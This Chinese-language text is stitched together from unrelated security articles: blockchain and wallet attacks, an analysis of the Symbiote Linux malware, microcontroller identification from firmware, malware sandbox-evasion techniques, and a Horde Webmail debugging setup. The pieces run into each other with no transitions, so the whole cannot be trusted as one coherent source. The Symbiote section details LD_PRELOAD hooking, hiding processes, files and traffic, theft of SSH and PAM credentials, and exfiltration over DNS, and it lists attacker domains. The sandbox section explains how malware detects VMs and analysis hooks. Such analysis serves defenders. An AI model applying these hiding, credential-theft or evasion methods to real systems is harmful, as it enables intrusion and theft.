DDoS 攻擊者旨在斷開網絡的礦池、電子錢包、加密貨幣交易所和其他金融服務。區塊鏈也可以使用DDoS 殭屍網絡在其應用程序層受到DDoS 攻擊。 2017 年，Bitfinex 遭受了大規模的DDoS 攻擊。這對IOTA 基金會來說尤其不方便，IOTA 基金會在Bitfinex 通知用戶此次攻擊的前一天就在平台上發布了他們的IOTA 代幣。三年後，即2020 年2 月，在OKEx 加密貨幣交易所注意到類似攻擊的一天后， Bitfinex又經歷了一次DDoS 攻擊。 交易延展性攻擊交易延展性攻擊旨在誘使受害者支付兩次。在比特幣網絡中，每筆交易都有一個散列，即交易ID。如果攻擊者設法更改交易的ID，他們可以嘗試將更改後的哈希值的交易廣播到網絡，並在原始交易之前確認它。如果成功，發送方將認為初始交易失敗，而資金仍將從發送方的賬戶中提取。如果發件人重複交易，相同的金額將被扣除兩次。一旦這兩筆交易被礦工確認，這次黑客攻擊就成功了。 比特幣交易所Mt. Gox在2014 年因延展性攻擊而破產。然而，比特幣似乎通過引入隔離見證(SegWit) 流程解決了這個問題，該流程將簽名數據與比特幣交易分開，並用對每個簽名的不可延展的哈希承諾。 時間劫持時間劫持利用了比特幣時間戳處理中的一個理論漏洞。在時間劫持攻擊期間，黑客更改節點的網絡時間計數器並強制節點接受替代區塊鏈。當惡意用戶使用不准確的時間戳將多個虛假對等點添加到網絡時，就可以實現這一點。但是，可以通過限制接受時間範圍或使用節點的系統時間來防止時間劫持攻擊。 路由攻擊 路由攻擊可以影響單個節點和整個網絡。這種黑客攻擊的想法是在將交易推送給同行之前篡改交易。其他節點幾乎不可能檢測到這種篡改，因為黑客將網絡劃分為無法相互通信的分區。路由攻擊實際上包括兩個獨立的攻擊： 分區攻擊，將網絡節點分成不同的組 延遲攻擊，篡改傳播消息並將它們發送到網絡 女巫攻擊通過將多個標識符分配給同一節點來安排女巫攻擊。區塊鍊網絡沒有可信節點，每個請求都會發送到多個節點。 圖1. 女巫攻擊 在Sybil 攻擊期間，黑客控制了網絡中的多個節點。然後受害者被關閉所有交易的假節點包圍。最後，受害者對雙花攻擊持開放態度。 Sybil 攻擊很難檢測和預防，但以下措施可能有效：增加創建新身份的成本，需要某種類型的信任才能加入網絡，或根據聲譽確定用戶權力。 蝕攻擊eclipse 攻擊需要黑客控制大量IP 地址或擁有分佈式殭屍網絡。然後攻擊者覆蓋受害者節點“已嘗試”表中的地址並等待受害者節點重新啟動。重啟後，受害者節點的所有出站連接都將被重定向到攻擊者控制的IP地址。這使得受害者無法獲得他們感興趣的交易。波士頓大學的研究人員對以太坊網絡發起了一次日食攻擊，並設法僅使用一兩台機器就完成了攻擊。 對權益證明網絡的遠程攻擊遠程攻擊針對使用股權證明(PoS) 共識算法的網絡，在該算法中，用戶可以根據持有的硬幣數量來挖掘或驗證區塊交易。 這些攻擊可以分為三類： 簡單- 當節點不檢查塊時間戳時，權益證明協議的簡單實現 事後腐敗——試圖在給定時間範圍內鑄造比主鏈更多的區塊 Stake bleeding——將交易從誠實維護的區塊鏈複製到攻擊者維護的私有區塊鏈 在進行遠程攻擊時，黑客使用購買或竊取的私鑰，該私鑰具有相當大的代幣餘額，該私鑰過去已經用於驗證。然後，黑客可以生成區塊鏈的替代歷史並根據PoS 驗證增加獎勵。 2. 用戶錢包攻擊實際上，在人們與它們互動之前，區塊鍊和網絡安全就像鹽和胡椒一樣在一起。這聽起來可能令人驚訝，但區塊鏈用戶構成了最大的安全威脅。人們了解區塊鏈在網絡安全中的用途，往往會高估區塊鏈的安全性而忽視其弱點。用戶錢包憑證是網絡犯罪分子的主要目標。 為了獲取錢包憑證，黑客嘗試使用網絡釣魚和字典攻擊等傳統方法以及尋找加密算法弱點等新的複雜方法。以下是攻擊用戶錢包的最常見方法的概述。 網絡釣魚2018 年，IOTA 錢包發起了一次攻擊，發起人是iotaseed.io（現已下線），這是一個虛假的在線種子生成器。黑客利用這項服務進行了網絡釣魚活動，並收集了帶有秘密種子的日誌。結果，2018 年1 月，黑客成功從受害者的錢包中竊取了價值超過400 萬美元的IOTA。 字典攻擊在這些攻擊中，黑客試圖通過嘗試普通密碼（如password1）的哈希值來破解受害者的加密哈希和鹽。通過將明文密碼轉換為加密哈希，攻擊者可以找到錢包憑證。 易受攻擊的簽名區塊鍊網絡使用各種加密算法來創建用戶簽名，但它們也可能存在漏洞。例如，比特幣使用ECDSA 密碼算法自動生成唯一的私鑰。然而，看起來ECDSA 的熵不足，這可能導致多個簽名中出現相同的隨機值。 IOTA 還面臨著其舊的Curl 哈希函數的密碼學問題。 有缺陷的密鑰生成利用密鑰生成中的漏洞，被稱為Johoe 的黑客在2014 年12 月獲得了Blockchain.info 提供的私鑰。這次攻擊的發生是由於代碼更新期間出現的錯誤導致生成公共輸入的隨機性差用戶密鑰。儘管此漏洞很快得到緩解，但ECDSA 算法仍然可能存在該漏洞。 對冷錢包的攻擊硬件錢包或冷錢包也可能被黑客入侵。例如，研究人員利用Nano S Ledger 錢包中的漏洞發起了Evil Maid 攻擊。由於這次黑客攻擊，研究人員獲得了私鑰以及受害者的PIN、恢復種子和密碼。 最近的一次冷錢包攻擊發生在2019 年，當時UPbit加密貨幣交易所正在將資金轉移到冷錢包。當您預計會受到網絡攻擊時，這是凍結加密貨幣的常用方法。黑客設法竊取了342,000 ETH，顯然是因為他們知道交易的時間。 對熱錢包的攻擊熱錢包是用於存儲私人加密密鑰的聯網應用程序。儘管加密貨幣交易所的所有者聲稱他們將錢包中的用戶數據與網絡斷開連接，但2018 年針對Coincheck 的5 億美元攻擊證明這並非總是如此。 2019 年6 月，對GateHub 的攻擊導致數十個原生XRP錢包的未經授權訪問和加密資產被盜。由於系統漏洞，新加坡加密貨幣交易所Bitrue也幾乎同時遭遇了熱錢包攻擊。結果，黑客設法竊取了價值超過450 萬美元的XRP 和237,500 美元的ADA 資金。

一、概述近期，我們發現一種新型的Linux惡意軟件Symbiote被報導出來，該惡意軟件被描述為“幾乎不可能被檢測到”。之所以被命名為Symbiote（中文含義：共生體），也是基於該樣本的攻擊性質：作為非獨立運行的共享庫文件加載到其他正在運行的進程中。其目的是竊取遠程主機的登錄憑證以及後門訪問。 下面將對該惡意軟件的其中一個樣本進行詳細分析。 二、詳情分析1加載方式 LD_PRELOAD是Linux系統的一個環境變量，它可以影響程序的運行時的鏈接（Runtime linker），允許你定義在程序運行前優先加載的動態鏈接庫。通過這個環境變量，可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫。通過覆蓋正常的庫函數，注入到正在運行的進程，從而達到特定的目的。 該樣本使用同名、同參數的自定義函數，通過LD_PRELOAD的方式加載到其他進程中，進而覆蓋掉同名的系統函數，優先調用自定義函數，達到調用過程劫持效果。 所有的劫持函數都如下圖邏輯： 圖1 2進程隱藏 該樣本會隱藏自身加載到其他程序中的共享庫痕跡，以及隱藏一起部署的其他惡意程序。 隱藏其他惡意程序 實現方式為，掛鉤readdir、readdir64、stat、statx、fstatat、fstatat64等函數，目標文件在/proc下時，獲取執行命令，判斷是否為需要隱藏的進程，若是，則跳過該條目信息，繼續執行返回下一個無需隱藏的文件條目信息。 圖2 圖3 本樣本隱藏的進程名 certbotx64 certbotx86 javautils 隱藏共享庫痕跡 除了隱藏一起部署的其他惡意程序，還會隱藏自身模塊。如用戶可通過ldd命令輸出指定的每個程序或共享對象所需的共享對象（共享庫）。如下圖所示，ldd命令會調用execve函數，該樣本就通過掛鉤execve的方式劫持返回結果。 圖4 通過LD_TRACE_LOADED_OBJECTS環境變量判斷是否為列出其動態庫依賴項（ldd命令）。 圖5 具體隱藏過程如下，fork一個子進程去執行命令，返回結果到管道。 圖6 在本進程中，使用後面的字符串數據覆蓋掉需要隱藏的自身庫字符串再輸出，達到隱藏效果。 圖7 運行效果圖如下，該樣本目前只是過濾硬編碼寫入的文件名，改名後就會顯示出來，不排除後續版本會更新為自動獲取名稱。 圖8 3文件隱藏 除了隱藏進程相關的文件，還會隱藏其他非進程的信息存儲文件。在Linux系統中，使用ls、dir、tree等命令顯示出目錄下的文件信息，通過掛鉤文件相關函數readdir、readdir64就可以實現文件隱藏。 具體細節如下，讀取到需隱藏的文件流時，繼續讀取下一個，直至該文件流為非隱藏文件或為空才返回。這樣就跳過了惡意文件，達到隱藏目的。 圖9 圖10 隱藏的文件列表 certbotx64 certbotx86 javautils bancodobrasildev search.so certbot.h cert.h 4網絡隱藏 該樣本採用了三種流量隱藏的方法，分別是劫持fopen函數、劫持注入eBPF、劫持libpcap庫函數。 劫持fopen函數 檢測到程序使用fopen讀取\proc\net\目錄下的文件時，便會生成一個臨時文件，讀取源文件的每一行並將過濾掉指定端口的數據寫入臨時文件，最後將過濾後的臨時文件句柄返回調用者，達到隱藏效果。 圖11 圖12 劫持注入eBPF BPF(Berkeley Packet Filter), 中文翻譯就是伯克利包過濾器。從字面意思可以知道它的主要功能是用來過濾數據包的。根據介紹，BPF 鉤子位於網絡驅動中盡可能早的位置，無需進行原始包的複制就可以實現最佳的數據包處理性能，掛載的BPF程序是運行過濾的理想選擇。 下面是BPF流程圖： 圖13 劫持方法是掛鉤函數setsockeopt，該函數用於設置socket狀態。 檢測到使用SO_ATTACH_FILTER方式調用時，表示該調用用於數據包過濾。此時就會先將自身的BPF字節碼添加到其他軟件的BPF字節碼前，先一步過濾掉需隱藏的流量，再執行其他軟件注入的BPF字節碼進行過濾。 本樣本用此方法過濾TCP連接中指定端口的流量（包括入站出站）。 圖14 劫持libpcap庫函數 實現方法是掛鉤函數pcap_loop、pcap_stats這兩個函數。 掛鉤函數pcap_loop、pcap_stats這兩個函數，在函數pcap_loop中，劫持捕獲流量後執行的回調函數，在惡意回調函數中，匹配流量中需要過濾的域字符串，通過包數計數器加一，丟掉這個流量包。 本樣本中用此方法隱藏UDP流量數據。 圖15 圖16 5惡意功能 該樣本的主要目的有：竊取用戶登入憑證，後門遠程訪問、文件下載命令執行。 憑證記錄 當用戶使用ssh或者scp並通過公私密鑰key進行遠程主機訪問時，掛鉤後的read便會獲取調用程序命令行參數，獲取遠程主機的地址、連接RSA私鑰等信息。 圖17 圖18 使用簡化的CR4算法加密後，存放在/usr/include/cerbot.h文件中，並通過DNS 地址(A) 記錄請求洩露到攻擊者的控制的域名。 圖19 圖20 後門遠程訪問 該樣本劫持Linux系統上可插拔認證模塊（PAM）的關鍵函數pam_set_item、pam_authenticate、pam_acct_mgmt。其中pam_set_item函數用於截取用戶登入密碼，pam_authenticate函數用於校驗密碼。 圖21 圖22 這意味著攻擊者可以使用寫入的硬編碼口令，以任意用戶遠程訪問受害者服務器。 而當其他用戶使用遠程訪問工具（ssh）訪問受害者服務器時，便會獲取遠程主機ip、登入口令等信息，作為憑證竊取的一部分發送至攻擊者域名。 文件下載命令執行 在使用pam_authenticate函數進行身份驗證時，若不是攻擊者訪問，還會向其命令與控制域CC發送DNS 地址(TXT) 記錄請求。 TXT 記錄的格式為%MACHINEID%.%C2_DOMAIN%。 如果收到響應，惡意軟件使用base64 解碼內容，使用Ed25519算法檢查內容鑰簽名，使用RC4解密內容，並在生成的bash 進程中執行shell 腳本。 6CR4 在該樣本中，所有的字符串都是通過簡化的CR4算法獲取，該CR4算法核心如下： index=0j=0forOdrTextinrange(textlen):j=(j+1)%256index=(index+S[j])%256S[j],S[index]=S[index],S[j]hexList[OdrText]^=S[(S[j]+S[index])%256]三、檢測思路底層函數繞過：該樣本是通過掛鉤用戶層的一些關鍵函數進行隱藏，可以通過更底層的文件操作函數進行檢測。 特殊工具：還可以使用完全靜態編譯的工具，如busybox，該工具靜態編譯Linux常用命令，不依賴共享庫，此方式可以破解該樣本的隱藏手段。 行為特徵檢測：該樣本目前還未隱藏export與環境變量顯示相關的命令結果，所以還可以檢測環境變量LD_PRELOAD，進而發現問題。 流量特徵檢測：既然在終端上不好檢測流量，那就在在網絡出口處進行流量檢測。 欺騙檢測：針對蒐集到的隱藏文件信息，創建同名文件判斷是否被隱藏，也可以檢測。 內存特徵匹配：經過測試，可以使用yara規則掃描進程內存檢測╭( `∀′ )╯。 四、IOC用於接收憑證記錄數據 x3206.caixa.cx dev42.bancodobrasil.dev 用於下發命令執行數據 x4206.caixa.cx dev21.bancodobrasil.dev 憑證存儲路徑 /usr/include/cerbot.h /usr/include/java.h /etc/mpt64.h

微控制器對網絡安全威脅和攻擊的保護有限。因此，物聯網(IoT) 設備和依賴它們的嵌入式系統的安全性可能會受到損害。 為了提高物聯網設備或其固件的安全性，您需要確切地知道使用了哪些微控制器。掌握這些知識為更深入的軟件分析開闢了新的可能性，從而更有效地改進解決方案的性能和安全性。在本文中，我們展示了一種使用固件分析來識別微控制器型號的方法。 本文將對尋求自動執行微控制器識別過程的有效方法的嵌入式軟件開發人員和逆向工程專家有所幫助。 什麼是微控制器以及如何識別微控制器如今，人們每天使用各種嵌入式系統和物聯網設備，其中裝有各種微控制器。微控制器或微控制器單元(MCU) 是設計用於在嵌入式系統中執行特定操作的小型集成電路。 工程師經常在醫療物聯網設備、汽車系統，甚至航天工業中使用MCU。無論一個設備是測量你的心率、檢測空氣中的煙霧，還是管理你的智能汽車的能源消耗，都會有一整套微控制器參與到這個過程中。 一個基本的微控制器通常由三個核心組件組成： 處理器 記憶 輸入/輸出(I/O) 外設 微控制器通常具有有限的內存和帶寬資源，並且專用於特定任務。大多數微控制器都是定制的，沒有前端操作系統。 由於資源有限，微控制器很容易成為網絡犯罪分子的目標。這就是為什麼要確保IoT 設備得到適當的保護，解決設備所依賴的微控制器的特定漏洞和弱點至關重要。 當您擁有從頭開始構建的自定義設備時，您可能會了解它的所有來龍去脈。但是，如果您的項目記錄不完整，或者您必須使用您一無所知的物聯網設備，那麼首要任務是確定其使用的微控制器型號。 如何識別單片機型號？試圖將不同的二進製文件彼此區分開來可能具有挑戰性，尤其是當二進製文件使用大量相似的代碼或執行相似的功能時。在識別與微控制器相關的二進製文件時，您很容易遇到執行類似任務的函數，這會使事情變得比可執行二進製文件更加模糊。 然而，有一種有效的方法不僅可以識別微控制器的型號，還可以使過程自動化。 首先，讓我們看一下識別MCU型號需要採取的關鍵步驟： 要自動化此過程並能夠快速輕鬆地識別微控制器模型，您需要： 自動生成C 風格的偽代碼。您可以使用IDA-Pro 或Ghidra 等工具執行此操作。 從微控制器的代碼或數據庫中收集要搜索的微控制器的所有標頭。 現在讓我們看看如何使用這種方法識別未知的微控制器。 根據硬件地址識別MCU型號在本節中，我們將討論如何通過分析其外圍設備的硬件地址來識別微控制器的型號。 由於外圍設備使用硬件訪問，你應該可以在單片機的二進制代碼中看到對靜態硬件地址的訪問，而這些地址應該定義在一個C頭文件中。此外，由於這些地址是硬編碼的，因此它們不應受到二進制地址空間佈局隨機化(ASLR)的嚴重影響。 要遵循我們的指南，您需要了解C、Python和以下工具： 命令 IDA專業版 GNU 編譯器集合(GCC) py-c-預處理器 我們將使用NXP的S32 PPC 微控制器，特別是MPC5 定時器演示。但是，請記住，下面描述的方法可以應用於您遇到的任何MCU。這種方法唯一可能效率低下的情況是，如果有一個與您的MCU 模型非常相似的微控制器；例如，如果兩個或多個MCU 型號由同一家公司製造並且具有相同的外圍設備。 現在讓我們開始吧。 1.分析單片機源碼使用MPC5 微控制器演示並在IDA-Pro 中查看其源代碼。您應該會以類似結構的模式看到一些對外圍設備的引用。當您深入研究時，您將看到對MPC5744P.h標頭的引用以及此類定義： 這些是對微控制器外圍設備的硬編碼引用。 你注意到它們是結構了嗎？這意味著由於填充和對齊，它們在內存中看起來會略有不同。 這些結構地址將是您的關鍵信息來源，因此您需要通過解析來獲取所有這些地址，而無需花費太多時間和精力。 2. 解析和排序來自標題的信息由於手動查找和復制硬件地址是一項繁瑣且耗時的任務，您可以嘗試將此過程自動化。 由於結構地址是定義，您可以使用GCC 通過以下命令解析它們： 在哪裡 包含微控制器頭文件的路徑。 執行此命令允許轉儲所有#definitions預處理器值。然後，您可以通過使用grep 實用程序處理目標結構來過濾接收到的信息。 一旦獲得GCC 的輸出，就可以使用正則表達式(regex)來過濾定義名稱和地址。在我們的示例中，我們將使用RE Python 模塊在Python 中使用正則表達式。 我們選擇使用Python 工具，因為Python 易於閱讀且易於學習。也不需要學習內存管理，相比其他一些語言，我們可以簡單方便地完成我們的任務。 以下是如何在Python 中使用正則表達式過濾數據： 注意：如果你遇到一些需要評估定義的場景 你將需要一個預處理器。預處理器將獲取#definitions值並在預編譯時解析出這些值，因此您不必通過多個標頭手動搜索它們。 以下是使用Python 的py-c-preprocessor執行此操作的方法： 現在，讓我們回到我們的分析。 3.將二進制轉儲為C風格的偽代碼如果您的硬件地址排序正確，您應該看到每個新外圍設備的地址從哪裡開始，從而能夠在二進製文件中找到外圍結構。 但是，嘗試在十六進制編輯器中解析二進製文件可能很困難。相反，您可以打開二進製文件並在IDA Pro 中對其進行分析。 在IDA Pro 中打開二進製文件後，您可以通過單擊file → produce file → C file生成帶有C 風格偽代碼的文件。帶有C 風格偽代碼的文件將保存微控制器模型識別所需的地址。 4.在偽代碼中搜索外設地址一旦有了C 文件，就可以開始搜索外圍設備地址了。如果您查看帶有C 風格偽代碼的文件，您會看到多行地址。 請注意，由於所存儲信息的大小，這些地址在偽代碼中略有偏差。 您應該能夠簡單地加載頭文件，解析和排序定義，然後使用C 風格的偽代碼在文件中搜索它們。和上一步一樣，可以使用regex解析C文件，使用parse_memory_locations_from_C_file函數過濾出自己需要的地址： 然後你需要將你從頭文件中拉取的排序後的地址和在C 風格的偽代碼文件中找到的地址傳遞給perform_search函數。 注意：從技術上講，如果您知道結構的大小，則可以在確切位置自動找到所有具有相同大小的結構。但是，我們不會描述這個過程，因為它超出了當前指南的範圍。 5.識別單片機型號使用C 風格偽代碼在文件中搜索外設地址後，您可以嘗試識別您的微控制器。為此，將二進製文件標頭中的硬件地址與C 文件中的地址進行比較。通過計算不同微控制器的加權分數，您將能夠識別您正在處理的那個。 以下是我們示例的結果： 加權得分最高的微控制器就是您要找的那個。在我們的例子中，它是MPC5744P.h 微控制器。 要查看我們指南中使用的腳本的完整代碼，請轉到Apriorit GitHub頁面。 結論微控制器是當今物聯網設備的重要組成部分。了解特定設備包含哪些微控制器對於有效提高設備的性能和安全性是必要的。

當惡意軟件開發者發現自己在沙盒中運行時，會竭盡全力避免惡意行為。目前有很多沙盒檢測方法，每種方法都有優缺點。 至於惡意軟件開發者如何檢測到沙盒？有很多不同的方法，但總的來說，他們會檢查環境的特徵，看看它是否看起來像一個目標主機，而不是一個自動化系統。 逃避沙盒策略惡意軟件開發者會使用大量技術來檢查它們是否運行在“真正的”目標主機上，比如計算瀏覽器緩存中的cookie數量，或者檢查顯存是否太小。 檢測儀器或“掛鉤”逃避沙盒儀器的檢測，這絕對是最流行的技術之一。最常見的例子是檢查API掛鉤，因為這是沙盒和防病毒供應商檢測和記錄分析中的可執行文件進行的所有API調用的常用方法。這可以像檢查常見函數的函數序言一樣簡單，看看它們是否被掛鉤。 在下圖中，我們看到了Windows 10中CreateFileA的序言的反彙編是什麼樣子的，以及如果在沙盒中插入了指令，它可能是什麼樣子。 系統API中函數上的典型沙盒掛鉤 如上所示，攻擊者很容易察覺到這一點，這就是為什麼這是我們所看到的最常見的方法之一。 這種技術的一個有趣的變化是，惡意軟件檢測並解除現有的掛鉤，以便在不記錄其活動的情況下偷偷執行。當惡意軟件開發者想要通過端點保護而不被目標主機檢測到時，就會發生這種情況。 下圖顯示了GuLoader如何解包ZwProtectVirtualMemory函數序言的字節以恢復原始功能的示例。 GuLoader正在解除逃避系統API函數中的檢測 減少逃避沙盒儀器檢測的方法防止惡意軟件作者檢測檢測儀器的黃金標準就是不要有任何對你正在分析的程序可見的異常內容。越來越多的沙盒將這一想法作為其檢測策略的重點。當你在操作系統中的任何地方都不改變一個字節時，你就更容易避免逃避。 與其通過更改代碼來檢測API，不如使用虛擬化來無形地檢測分析中的程序。從來賓VM外部檢測惡意軟件有很多好處。 客戶機與基於虛擬機監控程序的掛鉤引擎。左：程序分析組件與它執行的惡意軟件樣本一起存在於來賓VM中。右：分析組件完全存在於來賓VM之外，因此對於被分析的程序來說是不可見的 檢測虛擬環境另一個常見的逃避則涉及檢測文件正在虛擬機（VM）中執行。這可能涉及指紋資源，如低CPU核心數、系統或視頻內存或屏幕分辨率。它還可能涉及特定VM的指紋工件。 在構建沙盒時，供應商有大量的虛擬機解決方案可供選擇，如KVM、VirtualBox和Xen。每一個都有各種各樣的工件和特性，它們可以被運行在它們下面的vm中的軟件檢測到。 其中一些特性是特定係統特有的，比如檢查VMware的後門接口，或者檢查提供給操作系統的硬件是否與QEMU提供的虛擬硬件匹配。其他方法可以簡單地檢測一般的管理程序。例如，Mark Lim在一篇文章中討論了管理程序的一般逃避，該文章利用了許多管理程序錯誤地模擬trap標誌行為這一事實。 惡意軟件確定其是否在VMware虛擬機內運行的最早和最廣泛使用的機制之一是使用VMware的後門接口來查看VMware虛擬機管理程序是否有任何有效響應。這種檢查的示例如下圖所示。 惡意軟件檢查它是否在VMware虛擬機內運行 惡意軟件家族還可以使用Windows Management Instrumentation（WMI）查詢來查詢計算機製造商或型號信息。這允許他們獲取有關係統的信息，並將其與已知的沙盒或管理程序字符串進行比較。 下圖顯示瞭如何使用它對VMware、Xen、VirtualBox和QEMU進行查詢。同樣的技術也可以在Al-Khaser中找到，這是一個包含許多反沙盒技術的開源工具。 用於查詢計算機信息的WMI查詢 下圖顯示了惡意軟件可能與之交互的軟件組件，以顯示它是否在虛擬環境中執行。 進程可以與之交互以評估它們是否在VM內部 此外，在來賓虛擬機周圍經常會散佈大量信息，這些信息可以很容易地提供有關來賓操作系統在其下運行的虛擬機平台的線索。具體信息取決於所使用的VM基礎架構（例如，VMware、KVM或QEMU）。 以下只是惡意軟件作者可以檢查的幾個示例： 顯示VM特定硬件、驅動程序或服務的註冊表項路徑； VM特定驅動程序或其他服務的文件系統路徑； 特定於某些VM基礎結構的MAC地址； 虛擬硬件(例如，如果查詢報告你的網卡是多年未生產的Intel e1000，它可以推斷你可能正在使用Qemu硬件模型運行)； 運行顯示虛擬機平台特定服務以支持準虛擬化的流程，或為用戶提供方便的系統（如VMware工具）； CPUID指令，在許多情況下，有助於通知VM平台的客戶端軟件； 緩解虛擬機逃避大多數緩解措施的主要問題是，主流虛擬化平台替代方案為惡意軟件開發者所熟知。為了便於實現，大多數沙盒都基於KVM、Xen或QEMU等系統，這使得這類逃避特別難以緩解。 每一個主流虛擬機平台都被沙盒逃避所針對。問題是，除了編寫自己的自定義管理程序來支持惡意軟件分析之外，沒有什麼能有效地解決這類逃避問題。 缺乏人機互動這一類別包括需要特定人機互動的逃避。例如，惡意軟件開發者希望看到鼠標點擊或其他事件發生在“真實”用戶驅動的系統上，但這在典型的自動分析平台中是不存在的。惡意軟件家族通常會檢查人員交互，如果看起來沒有用戶驅動系統，則停止執行，因為用戶活動正在模擬中。 以下是我們在人機交互檢查中觀察到的一般主題： 提示用戶進行交互。例如，應該點擊沙盒可能不知道的對話框或虛假eula以確保引爆。 檢查鼠標點擊，鼠標移動和按鍵。甚至可以分析鼠標事件的位置或擊鍵的時間，以確定它們看起來是“自然的”還是通過編程生成的。 在文檔中放置宏以檢查是否存在諸如滾動、單擊電子表格中的單元格或檢查其他工作表選項卡等人機交互的證據。 讓我們看一個具體的示例（如下圖所示），說明惡意軟件如何獲取自上次用戶輸入（GetLastUserInput）和自系統啟動（GetTickCount）以來的時間。然後，它可以比較自按下最後一個鍵以來經過了多長時間，以檢測系統上是否有任何活動。 攻擊開始所需的用戶交互 減少人際互動逃避在實現沙盒時，我們可以控制虛擬鍵盤、鼠標和顯示器。如果由於某種原因，分析的可執行文件需要任何輸入鍵，我們可以向分析發送按鍵，或者確保點擊正確的按鈕以繼續執行可執行文件。 與VM檢測問題的所有其他領域一樣，我們需要對惡意軟件家族正在尋找的內容保持警惕，並不斷改進緩解逃避策略。最近的一個例子涉及需要在Excel電子表格中的多個單元格上單獨點擊鼠標的惡意軟件。 時間和計算資源逃避早期，沙盒中最常見的逃避方式之一是在做任何攻擊之前只需要睡眠一個小時。這樣，它將保證惡意軟件將遠遠超出幾乎所有沙盒使用的最短分析時間窗口，因為運行每個樣本超過幾分鐘是不可行的。 沙盒開發者對此的反應是將長時間睡眠縮短為短時間睡眠。下圖顯示了一種使用Windows計時器和Windows消息的逃避技術。其思想是安裝一個每秒鐘觸發一次的計時器，然後在執行計時器的回調時增加一個內部變量。 一旦變量達到特定的閾值，它將發送另一條Windows消息通知示例開始執行惡意軟件。這種規避的問題是，沙盒不能簡單地將計時器的超時時間減少到一個較低的數字，因為它可能會中斷其他軟件的執行，但它仍然必須以某種方式執行。 使用定時器和Windows消息的睡眠示例 另一個示例如下圖所示，其中惡意可執行文件只需在循環中調用時間戳計數器指令。 使用時間戳計數器指令的休眠循環 緩解利用時間逃避的方法老實說，利用時間逃避很難緩解。如前所述，我們總是可以調整睡眠參數和計時器，但這並不能完全解決問題。 我們發現另一個有用的策略是，因為我們控制管理程序，所以我們可以使用技術來控制所有硬件和軟件，從而使來賓VM中的時間過得更快。甚至不需要更改參數或安裝任何掛鉤就可以做到這一點。我們可以在幾分鐘內實時運行一個小時的可執行文件，這使我們能夠更快地獲取惡意代碼。 垃圾指令循環或虛擬機退出循環可能是最難對付的情況。如果惡意軟件開發者執行了幾百萬條CPUID指令，在管理程序下面執行這些指令的時間就會呈指數級增長，那麼我們的代碼就是在VM中運行的。 Pocket Litter檢查“Pocket Litter”一詞來自間諜活動領域，其目的是用於惡意軟件開發者檢查環境是否顯示出真實的目標主機的證據。 在沙盒環境中，檢查“Pocket Litter”通常包括查找合理的系統正常運行時間、My Documents文件夾中的足夠數量的文件或系統瀏覽器緩存中的大量頁面。這些都有助於證實該系統是“真實的”，而不是沙盒環境。與其他類別一樣，變化的數量似乎是無限的。 下圖顯示了另一個示例，其中惡意軟件檢查是否有兩個以上的可用處理器以及是否有足夠的可用內存。通常，沙盒環境的可用內存沒有普通PC那麼多，這項檢查是測試目標系統是否可能是台式PC或在沙盒環境中運行。 檢查所需的最小處理器數量和運行所需的內存 在下圖中，還有另一個示例，如果卷磁盤序列號與已知防病毒供應商使用的模擬器的序列號匹配，則AutoIt可執行文件將退出。 檢查卷序列號 Pocket Litter檢查緩解措施目前沒有一種特定的方法可以用於緩解這種逃避，只能具體問題具體解決。 例如，當我們看到對特定位置的特定類型文件進行檢查時(如果它看起來是對VM映像的無害更改)，我們將它們添加到任何相關示例中以查看。這種Pocket Litter的方法感覺像是貓捉老鼠的遊戲。 總結沙盒逃避的方法太多，沒有哪一種方法可以有效地解決所有問題，因此必須具體問題具體分析解決。

0x00 前言本文記錄從零開始搭建Horde Groupware Webmail漏洞調試環境的細節。 0x01 簡介本文將要介紹以下內容： Horde Groupware Webmail安裝 Horde Groupware Webmail漏洞調試環境配置 常用知識 0x02 Horde Groupware Webmail安裝簡單來說，安裝Horde Groupware Webmail時需要配置以下環境： MySQL數據庫 Apache2 php7.2 Dovecot 操作系統選擇Ubuntu18，這裡不能選擇Ubuntu16，因為Ubuntu16不支持php7.2 本文的安裝過程做了適當精簡，完整過程可根據參考資料進行學習，具體安裝過程如下： 1.安裝MariaDB Database Server(1)安裝 安裝命令：sudo apt-get -y install mariadb-server mariadb-client (2)配置 配置命令：sudo mysql_secure_installation 配置如下： (3)創建數據庫 連接數據庫的命令：mysql -u root -p 執行以下命令： 設置數據庫的用戶為hordeuser，口令為new_password_here 2.安裝php-horde-webmail安裝命令：sudo apt -y install php-horde-webmail 3.配置webmail安裝命令： 配置如下： 注： 這裡必須指定為/usr/share/horde，否則在運行webmail-install時報錯提示：failed to open stream: No such file or directory in /usr/bin/webmail-install on line 17 4.安裝安裝命令：webmail-install 配置如下： 5.訪問登錄頁面http://127.0.0.1/horde/login.php 這裡不能使用localhost，會報錯提示： 此時沒有配置郵箱用戶，無法進行登錄，需要安裝Dovecot 6.安裝Dovecot安裝命令：apt-get -y install dovecot-imapd dovecot-pop3d 默認horde webmail沒有配置郵箱用戶，可以使用Ubuntu系統的用戶進行登錄，成功，如下圖 補充1：安裝File_Fstab會出現bug安裝命令：pear install File_Fstab 安裝這個模塊之後，無法加載test頁面，報錯提示： 如下圖 補充2：cpanel默認支持Horde Groupware Webmailcpanel的安裝可參考：https://docs.cpanel.net/installation-guide/system-requirements-centos/ cpanel下啟用Horde Groupware Webmail的方法如下： (1)添加郵箱賬戶 進入WHM，登錄用戶名root，口令為root用戶的口令，選擇創建用戶，如下圖 (2)選擇horde 使用新添加的賬戶登錄，選擇Email Accounts，配置成horde，如下圖 0x03 Horde Groupware Webmail漏洞調試環境配置這裡需要先在安裝Horde Groupware Webmail的Ubuntu18上添加xdebug，然後在本地安裝PhpStorm進行遠程調試 本地系統使用Windows，IP為192.168.112.131 安裝Horde Groupware Webmail的Ubuntu18 IP為192.168.112.168 流程如下： 1.安裝xdebug需要根據php版本選擇合適的xdebug，可選擇以下兩種篩選方法： (1)命令行執行命令php -i (2)瀏覽器訪問phpinfo頁面 echo ' 訪問http://127.0.0.1/horde/phpinfo.php 將以上方法得到的輸出信息複製到https://xdebug.org/wizard，可以自動解析出對應的xdebug版本 根據提示進行安裝 輸出信息如下： 下載安裝xdebug： 配置xdebug：vi /etc/php/7.2/apache2/conf.d/99-xdebug.ini 配置代碼需要區分XDebug2和XDebug3，自PhpStorm 2020.3起，開始使用XDebug3，語法也做了更改，詳細說明：https://xdebug.org/docs/upgrade_guide#changed-xdebug.remote_enable 正確的參數： 對應老的參數（失效）： 重啟Apache服務：sudo systemctl restart apache2.service 可通過訪問phpinfo頁面確認xdebug是否配置成功 2.PhpStorm配置(1)安裝PhpStorm (2)配置調試端口 打開PhpStorm，創建一個PHP Empty Project 依次打開File-Settings-PHP-Debug 確認調試端口為9000，如下圖 (3)配置DBGp Proxy 